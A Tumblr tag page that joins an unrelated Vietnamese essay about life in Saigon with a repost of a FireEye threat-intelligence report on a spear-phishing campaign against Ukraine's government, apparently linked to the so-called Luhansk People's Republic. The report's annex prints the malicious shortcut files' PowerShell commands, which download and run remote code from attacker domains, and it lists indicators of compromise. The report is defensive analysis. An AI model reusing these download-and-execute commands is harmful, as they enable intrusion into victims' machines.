#z1k | Explore Tumblr posts and blogs

pacesharevn · 5 years ago

Text

Spaceshare : Sài Gòn như cái động chứa ?

Sài Gòn chỉ là nơi để tao kiếm tiền thui

Bự lắm, hơn 2.000 km vuông chứ ít gì, xứ gì mà từ biển Cần Giờ chạy tuốt lên miệt trái cây Củ Chi rồi kéo cho tới vùng chuyên canh nuôi bò Quận…à mà thôi.

Đông lắm, ở quê sống hổng nổi…lên Sài Gòn. Kiếm việc gì đó làm…vô Sài Gòn. Thi Đại Học…ở Sài Gòn. Hai đứa yêu nhau mà 2 bên gia đình ngăn cản thì bỏ nhà…vô Sài Gòn. Ở quê hông còn đất cát gì mần…lên Sài Gòn mần. Nhà ở quê buồn quá…bỏ vô Sài Gòn chơi.

Đó, riết rồi Sài Gòn như cái động chứa zị, chỉ còn thiếu mỗi cái là bắt xe vô Sài Gòn á* cái rồi về thôi hà. Rồi giờ xấp xỉ 12 triệu dân rồi đó, mà có thấy khai trừ ai đâu, xua đuổi ai đâu, người ta từ cơ hàn thành danh rồi quay lưng với Sài Gòn chứ tui có thấy Sài Gòn quay lưng với ai bao giờ đâu.

Nói gì nói chớ ở đây mà bạn sống hông được nữa thì…bạn dở lắm à heng.

Chuyện bạn sinh ra, lớn lên, ăn học và đi làm ở đây hay bạn là dân tỉnh lên đây cũng chẳng nhằm nhò gì hết ráo, miễn sao bạn chịu sống là được. Biết sao tui nói zị hông ?

Bạn cứ thử một ngày bạn rảnh rỗi, rồi chịu khó thức sớm bữa, tầm 4h rưỡi hay 5h sáng gì đấy thử xách xe ra đường khi mà hơn một nửa dân ở cái đô thị này còn say giấc và tất nhiên số còn lại đã thức từ tờ mờ sáng để lo cho chén cơm manh áo của họ, không khó để bạn bắt gặp mấy cô mấy chị tất bật với cái bếp, vài ba cái bàn, mấy cái ghế, loay quay với đống tô đống đ��a muỗng miếng chanh trái ớt…chuẩn bị dọn hàng để bán bữa sáng cho bà con ai đi làm sớm, rồi mấy chú chạy xe ôm đậu ở mấy ngã tư đèn đỏ ngồi bắt chéo chân làm ly cà phê rê điếu thuốc cho tỉnh táo để có khách bất tử còn tỉnh táo mà chạy nữa.

Rồi sợ nhất là mấy cha giao bánh mì với nước đá sáng sớm á mấy chả chạy như kiểu tranh cử vào ghế tổng thống hông bằng hà, sáng mà vừa ra đường gặp mấy cha này thì thui tỉnh ngủ là cái chắc bởi xe mấy ổng sở hữu cây pô tương đương với tiếng động cơ của mấy xe phân khối lớn đơn cử như z1k, cb11k, ducati 800,…

Nói thiệt nhiều lúc xe mấy chả chạy đâu tới cầu Sài Gòn rồi mà mình trong ngã tư Hàng Xanh còn nghe văng vẳng đâu đây, bởi sống ở đây lâu bạn sẽ học được câu ” nhất đá, nhì gas, thứ ba bánh mì ” sợ nhưng mà thương, đúng hông !

Rồi thương mấy anh giao báo buổi sáng, chạy tà tà tà tà…tà tà tới số nhà xyz là nhớ ông này ổng đọc Báo Pháp Luật, nhà cô bán tạp hóa là Báo Phụ Nữ, nhà thằng cha mặt lúc nào cũng hầm hầm là Báo Công An nè,..vân vân và mây mây…

Bất chợt sáng tinh mơ dừng chờ ở ngã tư nào đó bạn dễ dàng ” tia ” được những gương mặt còn đang ngây ngủ của những đứa trẻ ngồi sau lưng ba mẹ chúng qua đôi mắt con nhắm con mở khi đang phải chờ cái đèn đỏ tận 60 giây, rồi những cú ngáp thật không thể đã hơn, đâu đó còn có đứa ngồi phía sau một tay vòng qua eo ba một tay gặm vội ổ bánh mì trước khi tới cổng trường, nhiều nữa… ==>> Xem Thêm tại : http://pacesharevn.com/spaceshare-sai-gon-nhu-cai-dong-chua/

#saigon #spaceshare #pacesharevn

0 notes

terabitweb · 6 years ago

Text

Original Post from FireEye Author: John Hultquist

In early 2019, FireEye Threat Intelligence identified a spear phishing email targeting government entities in Ukraine. The spear phishing email included a malicious LNK file with PowerShell script to download the second-stage payload from the command and control (C&C) server. The email was received by military departments in Ukraine and included lure content related to the sale of demining machines.

This latest activity is a continuation of spear phishing that targeted the Ukrainian Government as early as 2014. The email is linked to activity that previously targeted the Ukrainian Government with RATVERMIN. Infrastructure analysis indicates the actors behind the intrusion activity may be associated with the so-called Luhansk People’s Republic (LPR).

The spear phishing email, sent on Jan. 22, 2019, used the subject “SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD,” and the sender was forged as Armtrac, a defense manufacturer in the United Kingdom (Figure 1).

Figure 1: The spear phishing email

The email included an attachment with the filename “Armtrac-Commercial.7z” (MD5: 982565e80981ce13c48e0147fb271fe5). This 7z package contained “Armtrac-Commercial.zip” (MD5: e92d01d9b1a783a23477e182914b2454) with two benign Armtrac documents and one malicious LNK file with a substituted icon (Figure 2).

Figure 2: LNK with substituted icon

Armtrac-20T-with-Equipment-35078.pdf (MD5: 0d6a46eb0d0148aafb34e287fcafa68f) is a benign document from the official Armtrac website.

SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf (MD5: bace12f3be3d825c6339247f4bd73115) is a benign document from the official Armtrac website.

SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk (MD5: ec0fb9d17ec77ad05f9a69879327e2f9) is a malicious LNK file that executes a PowerShell script. Interestingly, while the LNK file used a forged extension to impersonate a PDF document, the icon was replaced with a Microsoft Word document icon.

Sponsor Potentially Active Since 2014

Compilation times indicate that this actor, who focused primarily on Ukraine, may have been active since at least 2014. Their activity was first reported by FireEye Threat Intelligence in early 2018. They gradually increased in sophistication and leveraged both custom and open-source malware.

The 2018 campaign used standalone EXE or self-extracting RAR (SFX) files to infect victims. However, their recent activity showed increased sophistication by leveraging malicious LNK files. The group used open-source QUASARRAT and the RATVERMIN malware, which we have not seen used by any other groups. Domain resolutions and malware compile times suggest this group may have been active as early as 2014. Filenames and malware distribution data suggest the group is primarily focused on targeting Ukrainian entities.

Association With So-Called Luhansk People’s Republic

FireEye Threat Intelligence analysis uncovered several indications that the actors behind this activity have ties to the breakaway so-called Luhansk People’s Republic (LPR).

Registrant Overlap with Official So-Called LPR Website

Infrastructure analysis suggests these operators are linked to the so-called LPR and the persona “re2a1er1.” The domain used as C&C by the previous LNK file (sinoptik[.]website) was registered under the email “[email protected].” The email address also registered the following domains.

Domains Registered by [email protected]

Possible Mimicked Domains

Description

Possible Targeted Country

24ua[.]website

24tv.ua

A large news portal in Ukraine

censor[.]website

censor.net.ua

A large news portal in Ukraine

fakty[.]website

fakty.ua

A large news portal in Ukraine

groysman[.]host

Volodymyr Borysovych Groysman

V. B. Groysman is a politician who has been the Prime Minister of Ukraine since April 14, 2016

gordon.co[.]ua

gordonua.com

A large mail service in Ukraine

mailukr[.]net

ukr.net

A large news portal in Ukraine

me.co[.]ua

me.gov.ua

Ukraine’s Ministry of Economic Development and Trade

novaposhta[.]website

novaposhta.ua

Ukraine’s largest logistics services company

olx[.]website

olx.ua

Ukraine’s largest online ad platform

onlineua[.]website

online.ua

A large news portal in Ukraine

rst[.]website

rst.ua

One of the largest car sales websites in Ukraine

satv[.]pw

Unknown

TV-related

sinoptik[.]website

sinoptik.ua

The largest weather website in Ukraine

spectator[.]website

spectator.co.uk

A large news portal in the UK

tv.co[.]ua

Unknown

TV-related

uatoday[.]website

uatoday.news

A large news portal in Ukraine

ukrposhta[.]website

ukrposhta.ua

State Post of Ukraine

unian[.]pw

unian.net

A large news portal in Ukraine

Unknown

vj2[.]pw

Unknown

xn--90adzbis.xn--c1avg

Not Applicable

Punycode of Ministry of State Security of the So-Called Luhansk People’s Republic’s website

z1k[.]pw

zik.ua

A large news portal in Ukraine

milnews[.]info

Unknown

Military news

Table 1: Related infrastructure

One of the domains, “xn--90adzbis.xn--c1avg” is a Punycode of “мгблнр.орг,” which is the official website of the Ministry of State Security of the So-Called LPR (Figure 3). Ukraine legislation describes so-called LPR as “temporarily occupied territory” and its government as an “occupying administration of the Russian Federation.”

Figure 3: Official website of the Ministry of State Security of the So-Called Luhansk People’s Republic (МГБ ЛНР – Министерство Государственной Безопасности Луганской Народной Республики)

Conclusions

This actor has likely been active since at least 2014, and its continuous targeting of the Ukrainian Government suggests a cyber espionage motivation. This is supported by the ties to the so-called LPR’s security service. While more evidence is needed for definitive attribution, this activity showcases the accessibility of competent cyber espionage capabilities, even to sub-state actors. While this specific group is primarily a threat to Ukraine, nascent threats to Ukraine have previously become international concerns and bear monitoring.

Technical Annex

The LNK file (SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk [MD5: ec0fb9d17ec77ad05f9a69879327e2f9]) included the following script (Figure 4) to execute a PowerShell script with Base64-encoded script:

vbscript:Execute(“CreateObject(“”Wscript.Shell””).Run “”powershell -e “”””aQBlAHgAKABpAHcAcgAgAC0AdQBzAGUAYgAgAGgAdAB0AHAAOgAvAC8AcwBpAG4Ab wBwAH QAaQBrAC4AdwBlAGIAcwBpAHQAZQAvAEUAdQBjAHoAUwBjACkAIAA=””””””, 0 : window.close”)

Figure 4: LNK file script

The following command (Figure 5) was received after decoding the Base64-encoded string:

vbscript:Execute(“CreateObject(“”Wscript.Shell””).Run “”powershell -e iex(iwr -useb http://sinoptik%5B.%5Dwebsite/EuczSc)””, 0 : window.close”)

Figure 5: LNK file command

The PowerShell script sends a request to URL “http://sinoptik%5B.%5Dwebsite/EuczSc.” Unfortunately, the server was unreachable during analysis.

Network Infrastructure Linked to Attackers

The passive DNS records of the C&C domain “sinoptik[.]website” included the following IPs:

Host/Domain Name

First Seen

sinoptik[.]website

2018-09-17

78.140.167.89

sinoptik[.]website

2018-06-08

78.140.164.221

sinoptik[.]website

2018-03-16

185.125.46.158

http://www.sinoptik[.]website

2019-01-17

78.140.167.89

Table 2: Network infrastructure linked to attackers

Domains previously connected to RATVERMIN (aka VERMIN) and QUASARRAT (aka QUASAR) also resolved to IP “185.125.46.158” and include the following:

Malware MD5

C&C

Malware Family

47161360b84388d1c254eb68ad3d6dfa

akamainet022[.]info

QUASARRAT

242f0ab53ac5d194af091296517ec10a

notifymail[.]ru

RATVERMIN

07633a79d28bb8b4ef8a6283b881be0e

akamainet066[.]info

QUASARRAT

5feae6cb9915c6378c4bb68740557d0a

akamainet024[.]info

RATVERMIN

dc0ab74129a4be18d823b71a54b0cab0

akamaicdn[.]ru

QUASARRAT

bbcce9c91489eef00b48841015bb36c1

cdnakamai[.]ru

QUASARRAT

Table 3: Additional malware linked to the attackers

RATVERMIN is a .NET backdoor that FireEye Threat Intelligence started tracking in March 2018. It has also been reported in public reports and blog posts.

Operators Highly Aggressive, Proactive

The actor is highly interactive with its tools and has responded within a couple of hours of receiving a new victim, demonstrating its ability to react quickly. An example of this hands-on style of operation occurred during live malware analysis. RATVERMIN operators observed that the malware was running from an unintended target at approximately 1700 GMT (12:00 PM Eastern Standard Time on a weekday) and promptly executed the publicly available Hidden Tear ransomware (saved to disk as hell0.exe, MD5: 8ff9bf73e23ce2c31e65874b34c54eac). The ransomware process was killed before it could execute successfully. If the Hidden Tear continued execution, a file would have been left on the desktop with the following message:

“Files have been encrypted with hidden tear. Send me some bitcoins or kebab. And I also hate night clubs, desserts, being drunk.”

When live analysis resumed, the threat group behind the attack started deleting all the analysis tools on the machine. Upon resetting the machine and executing the malware again, this time with a text file open asking why they sent ransomware, the threat group responded by sending the following message via RATVERMIN’s C&C domain (Figure 6):

C&C to Victim HTTP/1.1 200 OK Content-Length: 5203 Content-Type: multipart/related; type=”application/xop+xml”;start=”“;boundary=”uuid:67761605- 5c90-47ac-bcd8- 718a09548d60+id=14″;start-info=”application/soap+xml” Server: Microsoft-HTTPAPI/2.0 MIME-Version: 1.0 Date: Tue, 20 Mar 2018 19:01:26 GMT –uuid:67761605-5c90-47ac-bcd8-718a09548d60+id=14 Content-ID: Content-Transfer-Encoding: 8bit Content-Type: application/xop+xml;charset=utf-8;type=”application/soap+xml”

Mad ?

Figure 6: RATVERMIN’s C&C domain message

Related Samples

Further research uncovered additional LNK files with PowerShell scripts that connect to the same C&C server.

Filename: Висновки. S021000262_1901141812000. Scancopy_0003. HP LaserJet Enterprise 700 M775dn(CC522A).docx.lnk (Ukrainian translation: Conclusion)

MD5: fe198e90813c5ee1cfd95edce5241e25

Description: LNK file also has the substituted Microsoft Word document icon and sends a request to the same C&C domain

C&C: http://sinoptik%5B.%5Dwebsite/OxslV6

PowerShell activity (Command Line Arguments): vbscript:Execute(“CreateObject(“”Wscript.Shell””).Run “”powershell.exe -c iex(iwr -useb http://sinoptik%5B.%5Dwebsite/OxslV6)””, 0 : window.close”)

Figure 7: Additional LNK files with PowerShell scripts

Filename: КМУ база даних.zip (Ukrainian translation: Cabinet of Ministers of Ukraine database)

MD5: a5300dc3e19f0f0b919de5cda4aeb71c

Description: ZIP archive containing a malicious LNK file

Filename: Додаток.pdf (Ukrainian translation: Addition)

MD5: a40fb835a54925aea12ffaa0d76f4ca7

Description: Benign decoy document

Filename: КМУ_база_даних_органи_упр,_СГ_КМУ.rtf.lnk

MD5: 4b8aac0649c3a846c24f93dc670bb1ef

Description: Malicious LNK that executes a PowerShell script

C&C: http://cdn1186%5B.%5Dsite/zG4roJ

powershell.exe -NoP -NonI -W hidden -Com “$cx=New-Object -ComObject MsXml2.ServerXmlHttp;$cx.Open(‘GET’,’http://cdn1186%5B.%5Dsite/zG4roJ’,$False);$cx.Send(); $cx.ResponseText|.( ”.Remove.ToString()[14,50,27]-Join”)” !%SystemRoot%system32shell32.dll

Figure 8: Additional LNK files with PowerShell scripts

FireEye Detection

FireEye detection names for the indicators in the attack include the following:

FireEye Endpoint Security

INVOKE CRADLECRAFTER (UTILITY)

MALICIOUS SCRIPT CONTENT A (METHODOLOGY)

MSHTA.EXE SUSPICIOUS COMMAND LINE SCRIPTING (METHODOLOGY)

OFFICE CLIENT SUSPICIOUS CHILD PROCESS (METHODOLOGY)

PERSISTENT MSHTA.EXE PROCESS EXECUTION (METHODOLOGY)

POWERSHELL.EXE EXECUTION ARGUMENT OBFUSCATION (METHODOLOGY)

POWERSHELL.EXE IEX ENCODED COMMAND (METHODOLOGY)

SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)

FireEye Network Security

86300142_Backdoor.Win.QUASARRAT

86300140_Backdoor.Win.QUASARRAT

86300141_Backdoor.Win.QUASARRAT

Malware.archive

FE_Backdoor_MSIL_RATVERMIN_1

33340392_Backdoor.Win.RATVERMIN

33340391_Backdoor.Win.RATVERMIN

FireEye Email Security

FE_MSIL_Crypter

FE_Backdoor_MSIL_RATVERMIN_1

Malware.Binary.lnk

Malware.Binary.exe

Malware.archive

Backdoor.Win.QUASARRAT

Backdoor.Win.RATVERMIN

CustomPolicy.MVX.exe

CustomPolicy.MVX.65003.ExecutableDeliveredByEmail

Summary of Indicators

Malicious package and LNK files

982565e80981ce13c48e0147fb271fe5

e92d01d9b1a783a23477e182914b2454

ec0fb9d17ec77ad05f9a69879327e2f9

fe198e90813c5ee1cfd95edce5241e25

a5300dc3e19f0f0b919de5cda4aeb71c

4b8aac0649c3a846c24f93dc670bb1ef

Related File

0d6a46eb0d0148aafb34e287fcafa68f (decoy document)

bace12f3be3d825c6339247f4bd73115 (decoy document)

a40fb835a54925aea12ffaa0d76f4ca7 (decoy document)

Quasar RAT Samples

50b1f0391995a0ce5c2d937e880b93ee

47161360b84388d1c254eb68ad3d6dfa

07633a79d28bb8b4ef8a6283b881be0e

dc0ab74129a4be18d823b71a54b0cab0

bbcce9c91489eef00b48841015bb36c1

3ddc543facdc43dc5b1bdfa110fcffa3

5b5060ebb405140f87a1bb65e06c9e29

80b3d1c12fb6aaedc59ce4323b0850fe

d2c6e6b0fbe37685ddb865cf6b523d8c

dc0ab74129a4be18d823b71a54b0cab0

dca799ab332b1d6b599d909e17d2574c

RATVERMIN

242f0ab53ac5d194af091296517ec10a

5feae6cb9915c6378c4bb68740557d0a

5e974179f8ef661a64d8351e6df53104

0b85887358fb335ad0dd7ccbc2d64bb4

9f88187d774cc9eaf89dc65479c4302d

632d08020499a6b5ee4852ecadc79f2e

47cfac75d2158bf513bcd1ed5e3dd58c

8d8a84790c774adf4c677d2238999eb5

860b8735995df9e2de2126d3b8978dbf

987826a19f7789912015bb2e9297f38b

a012aa7f0863afbb7947b47bbaba642e

a6ecfb897ca270dd3516992386349123

7e2f581f61b9c7c71518fea601d3eeb3

b5a6aef6286dd4222c74257d2f44c4a5

0f34508772ac35b9ca8120173c14d5f0 (RATVERMIN’s keylogger)

86d2493a14376fbc007a55295ef93500 (RATVERMIN’s encryption tool)

04f1aa35525a44dcaf51d8790d1ca8a0 (RATVERMIN helper functions)

634d2a8181d08d5233ca696bb5a9070d (RATVERMIN helper functions)

d20ec4fdfc7bbf5356b0646e855eb250 (RATVERMIN helper functions)

5ba785aeb20218ec89175f8aaf2e5809 (RATVERMIN helper functions)

b2cf610ba67edabb62ef956b5e177d3a (RATVERMIN helper functions)

7e30836458eaad48bf57dc1decc27d09 (RATVERMIN helper functions)

df3e16f200eceeade184d6310a24c3f4 (RATVERMIN crypt functions)

86d2493a14376fbc007a55295ef93500 (RATVERMIN crypt functions)

d72448fd432f945bbccc39633757f254 (RATVERMIN task scheduler tool)

e8e954e4b01e93f10cefd57fce76de25 (RATVERMIN task scheduler tool)

Hidden Tear Ransomware

8ff9bf73e23ce2c31e65874b34c54eac

Malicious Infrastructure

akamainet022[.]info

akamainet066[.]info

akamainet024[.]info

akamainet023[.]info

akamainet066[.]info

akamainet021[.]info

http://www.akamainet066[.]info

http://www.akamainet023[.]info

http://www.akamainet022[.]info

http://www.akamainet021[.]info

akamaicdn[.]ru

cdnakamai[.]ru

mailukr[.]net

notifymail[.]ru

http://www.notifymail[.]ru

tech-adobe.dyndns[.]biz

sinoptik[.]website

cdn1186[.]site

news24ua[.]info

http://sinoptik%5B.%5Dwebsite/EuczSc

http://sinoptik%5B.%5Dwebsite/OxslV6

http://cdn1186%5B.%5Dsite/zG4roJ

206.54.179.196

195.78.105.23

185.125.46.24

185.158.153.222

188.227.16.73

212.116.121.46

185.125.46.158

94.158.46.251

188.227.75.189

Correlated Infrastructure

78.140.167.89 (pdns)

1ua[.]eu (pdns)

24ua[.]website (pdns, registered by [email protected])

cdn1214[.]site (pdns)

censor[.]website (pdns, registered by [email protected])

fakty[.]website (pdns, registered by [email protected])

gismeteo[.]website (pdns, registered by [email protected])

lmeta[.]eu (pdns)

me.co[.]ua (pdns, registered by [email protected])

milnews[.]info (pdns)

mj2[.]pw (pdns, registered by [email protected])

novaposhta[.]website (pdns, registered by [email protected])

olx[.]website (pdns, registered by [email protected])

http://www.olx[.]website (pdns, registered by [email protected])

onlineua[.]website (pdns, registered by [email protected])

r2a[.]pw (pdns, registered by [email protected])

rarnbier[.]ru (pdns)

rbc[.]website (pdns)

rst[.]website (pdns, registered by [email protected])

satv[.]pw (pdns, registered by [email protected])

slaviasoft[.]website (pdns, registered by [email protected])

tv.co[.]ua (pdns, registered by [email protected])

uatoday[.]website (pdns, registered by [email protected])

ukrnews[.]website (pdns, registered by [email protected])

http://www.ukrnews[.]website (pdns, registered by [email protected])

ukrposhta[.]website (pdns, registered by [email protected])

unian[.]pw (pdns)

vj2[.]pw (pdns, registered by [email protected])

windowsupdate.kiev[.]ua (pdns)

xn--90adzbis.xn--c1avg (registered by [email protected])

z1k[.]pw (pdns, registered by [email protected])

188.164.251.61 (pdns)

188.227.17.68 (pdns)

206.54.179.160 (pdns of many malicious domains)

208.69.116.100 (pdns)

208.69.116.144 (pdns)

5.200.53.181 (pdns)

78.140.162.22 (pdns)

78.140.167.137 (pdns)

88.85.86.229 (pdns)

88.85.95.72 (pdns)

94.158.34.2 (pdns)

94.158.47.228 (pdns)

#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Go to Source Author: John Hultquist Spear Phishing Campaign Targets Ukraine Government and Military; Infrastructure Reveals Potential Link to So-Called Luhansk People’s Republic Original Post from FireEye Author: John Hultquist In early 2019, FireEye Threat Intelligence identified a spear…

#FireEye

0 notes